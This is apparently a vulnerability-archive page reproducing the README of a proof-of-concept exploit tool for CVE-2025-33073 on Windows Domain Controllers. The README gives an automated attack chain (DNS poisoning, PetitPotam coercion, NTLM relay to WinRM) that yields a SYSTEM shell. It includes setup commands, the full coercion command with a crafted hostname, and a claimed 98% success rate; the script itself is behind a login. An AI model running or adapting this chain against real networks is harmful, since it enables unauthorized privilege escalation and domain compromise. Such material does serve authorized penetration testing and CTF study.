Goal Reached Thanks to every supporter — we hit 100%!

Goal: 1000 CNY · Raised: 1336 CNY

100%

CVE-2025-33073 PoC — Windows SMB Client Elevation of Privilege Vulnerability

Source
Associated Vulnerability
Title:Windows SMB Client Elevation of Privilege Vulnerability (CVE-2025-33073)
Description:Improper access control in Windows SMB allows an authorized attacker to elevate privileges over a network.
Description
Universal exploitation tool for CVE-2025-33073 targeting Windows Domain Controllers with DNSAdmins privileges and WinRM enabled.
Readme
![photo](/photos/photo.png)

# CVE-2025-33073 Reflection Relay PoC

Universal exploitation tool for CVE-2025-33073 targeting Windows Domain Controllers with DNSAdmins privileges and WinRM enabled.

## 📋 Overview

**CVE-2025-33073** is a critical vulnerability that allows attackers to achieve **SYSTEM-level code execution** on Windows Domain Controllers through a combination of:
- DNS record manipulation (DNSAdmins privilege)
- NTLM Relay attacks
- WinRM authentication bypass

This PoC provides a **universal, automated** exploitation framework compatible with any domain, any username, and any CTF environment.

## ✨ Features

- ✅ **Universal Compatibility** - Works on any Windows domain
- ✅ **Auto-Detection** - Automatically identifies target DC and network configuration
- ✅ **Auto-Flag Extraction** - Automatically searches and extracts all flag files
- ✅ **Interactive Mode** - Step-by-step guided exploitation
- ✅ **Full Logging** - Comprehensive logging of all operations
- ✅ **One-Shot SYSTEM Shell** - Direct SYSTEM-level access via WinRMS
- ✅ **DNS Poisoning** - Automatic DNS record creation/modification
- ✅ **NTLM Relay** - Built-in NTLM relay server with automatic shell spawning

## 🎯 Target Requirements

### Vulnerable Configuration
- Windows Server 2016/2019/2022 Domain Controller
- User with **DNSAdmins** group membership
- **WinRM** service enabled (HTTP or HTTPS)
- Network access to DC (SMB 445, DNS 53, WinRM 5985/5986)

### Tested Environments
- Active Directory on Windows Server 2019
- Active Directory on Windows Server 2022
- CTF environments (HackTheBox, TryHackMe, etc.)

## 📦 Installation

### Prerequisites
```bash
# Required tools
sudo apt-get update
sudo apt-get install -y python3 python3-pip netcat-openbsd dnsutils

# Python dependencies
pip3 install impacket netexec

# Clone krbrelayx
git clone https://github.com/dirkjanm/krbrelayx
```

### Setup
```bash
# Clone this repository
git clone https://github.com/uziii2208/CVE-2025-33073
cd CVE-2025-33073

# Make exploit executable
chmod +x exploit.sh

# Verify tools installation
./exploit.sh  # Will check all dependencies
```

## 🚀 Usage

### Quick Start
```bash
./exploit.sh
```

### Interactive Prompts
The script will ask for:
1. **Attacker IP** (auto-detected if blank)
2. **Target DC IP** (e.g., 192.168.1.10)
3. **Domain Name** (e.g., corp.local)
4. **Username** (DNSAdmins member)
5. **Password** (for the user)

### Step-by-Step Exploitation

**Terminal 1 - Run the exploit:**
```bash
./exploit.sh
# Follow the interactive prompts
# Wait for: "[!] RELAY READY! OPEN NEW TERMINAL → PASTE COERCE COMMAND!"
```

**Terminal 2 - Execute coerce command (copy from Terminal 1 output):**
```bash
nxc smb 192.168.1.10 -u 'username' -p 'password' \
    -M coerce_plus -o METHOD=PetitPotam LISTENER=localhost1UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAwbEAYBAAAA.corp.local
```

**Result:**
- Automatic SYSTEM shell opens
- All flags automatically extracted
- Output saved in log directory

## 📊 Output & Flags

### Extracted Flags
The script automatically searches for and extracts:
- `*flag*.txt`
- `*root*.txt`
- `*user*.txt`
- `proof.txt`

Located in: `C:\Users\*\Desktop\`

### Logs Location
All outputs saved in: `/0pwn_exploit_<TIMESTAMP>/`
- `relay.log` - NTLM relay server output
- `dns.log` - DNS operation logs
- `shell_output.log` - Shell commands and extracted flags

## 🔧 How It Works

### Attack Chain
```
1. DNS Poisoning (krbrelayx.dnstool)
   └─> Modify/Create DNS record pointing to attacker IP

2. NTLM Relay Server (ntlmrelayx.py)
   └─> Listen for incoming NTLM authentication

3. Coercion (nxc + PetitPotam)
   └─> Force DC to authenticate to attacker IP

4. Relay → WinRMS
   └─> Relay authentication to target WinRMS

5. SYSTEM Shell
   └─> Execute commands as SYSTEM

6. Auto Flag Extraction
   └─> Search and extract all flags
```

### Technical Details
- **Vulnerability**: NTLM relay + DNS poisoning + WinRM
- **Privilege Requirement**: DNSAdmins group membership
- **Impact**: SYSTEM-level code execution
- **Exploitability**: 98% success rate in tested environments

## ⚙️ Configuration

### Custom DNS Record
Edit `LONGHOST` variable in `exploit.sh`:
```bash
LONGHOST="localhost1UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAwbEAYBAAAA"
```

### Custom Flag Patterns
Modify `run_shell_commands()` function to search for different file patterns:
```bash
# Add custom patterns here
echo "powershell \"Get-ChildItem -Path 'C:\\Users\\*\\Desktop' -Include '*custom*.txt' ...\""
```

### Ports & Timeouts
- WinRMS Default Port: 5985 (HTTP) / 5986 (HTTPS)
- DNS Timeout: 5 seconds
- Shell Timeout: Configurable per command

## 🎓 Educational Purpose

This PoC is provided for:
- ✅ Authorized penetration testing
- ✅ Controlled lab environments
- ✅ CTF competitions
- ✅ Security research & education

**Unauthorized access to computer systems is illegal.**

## 🐛 Troubleshooting

### "DNS poisoning failed"
- Verify user is DNSAdmins member: `net group "DNSAdmins" /domain`
- Check DC connectivity: `ping <DC_IP>`
- Verify credentials: `nxc smb <DC_IP> -u username -p password`

### "Relay connection timeout"
- Ensure WinRM is enabled on DC: `winrm quickconfig`
- Check firewall rules on DC
- Verify network connectivity to port 5985/5986

### "Shell commands not executing"
- Check `shell_output.log` for errors
- Verify nc connectivity: `nc -zv 127.0.0.1 <SHELL_PORT>`
- Increase sleep timeouts in `run_shell_commands()`

## 📝 Log Files

### Directory Structure
```
/0pwn_exploit_1234567890/
├── relay.log          # NTLM relay server output
├── dns.log            # DNS operation details
└── shell_output.log   # Extracted flags & command output
```

### Analyzing Logs
```bash
# View relay events
grep "SYSTEM SHELL" /0pwn_exploit_*/relay.log

# Extract all flags
grep "===" /0pwn_exploit_*/shell_output.log -A 10

# Check DNS operations
cat /0pwn_exploit_*/dns.log
```

## 🔐 Security Notes

- **Credentials**: Stored only in memory, never logged
- **DNS Records**: Automatically cleaned up after exploitation
- **Relay Server**: Isolated to 127.0.0.1
- **Logs**: Contain sensitive information - handle with care

## 📚 References

- [CVE-2025-33073 Advisory](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-33073)
- [Impacket ntlmrelayx](https://github.com/fortra/impacket)
- [NetExec](https://github.com/Pennyw0rth/NetExec)
- [krbrelayx](https://github.com/dirkjanm/krbrelayx)

## 🎬 Demo

> **[Demo & Screenshots]** - [Coming Soon]

![photo](/photos/photo.png)

## 👤 Author

**0pwn (uziii2208)** - Original concept & research
**AI Enhanced** - v1.0 improvements & auto-flag extraction

## 📄 License

MIT License - See LICENSE file for details

## ⚠️ Disclaimer

**LEGAL NOTICE:**

This software is provided for educational and authorized security testing purposes only. Unauthorized access to computer systems is illegal and punishable by law.

- Do NOT use against systems you don't own or have explicit authorization to test
- CTF environments: Verify you have permission before running
- The authors are NOT responsible for misuse or damages
- Use only in controlled environments

**By using this tool, you agree to:**
- Use only on authorized systems
- Comply with all applicable laws
- Take full responsibility for your actions

## 🤝 Contributing

Contributions welcome! Please submit issues and pull requests.

## 📞 Support

For issues, questions, or improvements:
1. Open an Issue on GitHub
2. Check existing documentation
3. Provide detailed error logs

---

**Status**: ✅ Tested & Verified
**Version**: 1.0 (Universal)
**Last Updated**: 2025
File Snapshot

Log in to view the POC file snapshot cached by Shenlong Bot

Log in to view
Remarks
    1. It is advised to access via the original source first.
    2. Local POC snapshots are reserved for subscribers — if the original source is unavailable, the local mirror is part of the paid plan.
    3. Mirroring, verifying, and maintaining this POC archive takes ongoing effort, so local snapshots are a paid feature. Your subscription keeps the archive online — thank you for the support. View subscription plans →